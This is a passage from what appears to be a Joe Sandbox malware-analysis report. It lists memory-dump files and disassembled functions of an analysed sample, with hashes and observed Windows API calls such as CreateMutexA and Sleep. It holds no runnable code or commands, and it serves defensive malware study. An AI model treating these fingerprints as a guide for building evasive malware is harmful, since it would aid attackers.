Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: 6565735716d0bad5115104f4f5fdafed734130f98d60a0d5689d69ffd7b89098
Instruction ID: 2fde98f1b568a0c75ff3f4c36fca35803137b61fa16ff43535dc03db236ef8c0
Opcode Fuzzy Hash: 6565735716d0bad5115104f4f5fdafed734130f98d60a0d5689d69ffd7b89098
Instruction Fuzzy Hash: 163114717146449BEF0ADBB8DC89B6DBBB6EB82310F248718E0149B6D1C775898087A2

Function 00399ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: f234059462815dcfb643e2f3959ebb80f3c42f7545a05f832320374b5373a450
Instruction ID: 28cdd40c1b5cc922eb08be9270aa688879bf2e233fd4703ba91514f1be193c40
Opcode Fuzzy Hash: f234059462815dcfb643e2f3959ebb80f3c42f7545a05f832320374b5373a450
Instruction Fuzzy Hash: B7213731704244DBEF1A9B6CDC8DB6DB765EBC1310F20871DE4088B6D1CB7989808752

Function 0039A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: 978ab2c88dc6897645bd58db9016c3df8f0a8c1dd5e047c65648ad8c5136f746
Instruction ID: 7f60cc389c41712e0b5b8b1fcbb2f28f9cf6a4971cb7d19f239727ac5fd9fdc8
Opcode Fuzzy Hash: 978ab2c88dc6897645bd58db9016c3df8f0a8c1dd5e047c65648ad8c5136f746
Instruction Fuzzy Hash: 8F213D3175D644DAEF2BA768C89E73DBA51DF81300F344A1AE108DA2D1CB75494082D3

Function 0039A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0039A963
CreateMutexA.KERNEL32(00000000,00000000,003F3254), ref: 0039A981

Strings

T2?, xrefs: 0039A970

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2?
API String ID: 1464230837-3487704626
Opcode ID: b8bafd3bf42f61783562cbe933dfc890c639397784fa53b45d52cb1c7bc3d700
Instruction ID: c67bf5a5a1cd535f7ad009e9930a18a4e9ca49c678bf75f6734f5b607520ee64
Opcode Fuzzy Hash: b8bafd3bf42f61783562cbe933dfc890c639397784fa53b45d52cb1c7bc3d700
Instruction Fuzzy Hash: 312137317446449BEF1ADB68DC8976DBB66EB81310F24871DE4089B6D0CB7699808792

Function 003CB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000004,?,003D5024,?,00000000,?,003CEE3F,?,00000004,00000000,?,?,?,003C9714), ref: 003CB07E

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1707d547f8dc19b38cefcdecc0a6f0bd10a1eeaa433e2839be28f8d477a6220c
Instruction ID: 0ee93139432c0bf07600a58bb2d7118a4d0328256301036f4850e450d27e4a8a
Opcode Fuzzy Hash: 1707d547f8dc19b38cefcdecc0a6f0bd10a1eeaa433e2839be28f8d477a6220c
Instruction Fuzzy Hash: 33E0653614163596E63332754C46F6FF64C9B423B0F161219ED24E6190DB11DD0083E1

Function 003987B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0039DA1D,?,?,?,?), ref: 003987B9

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
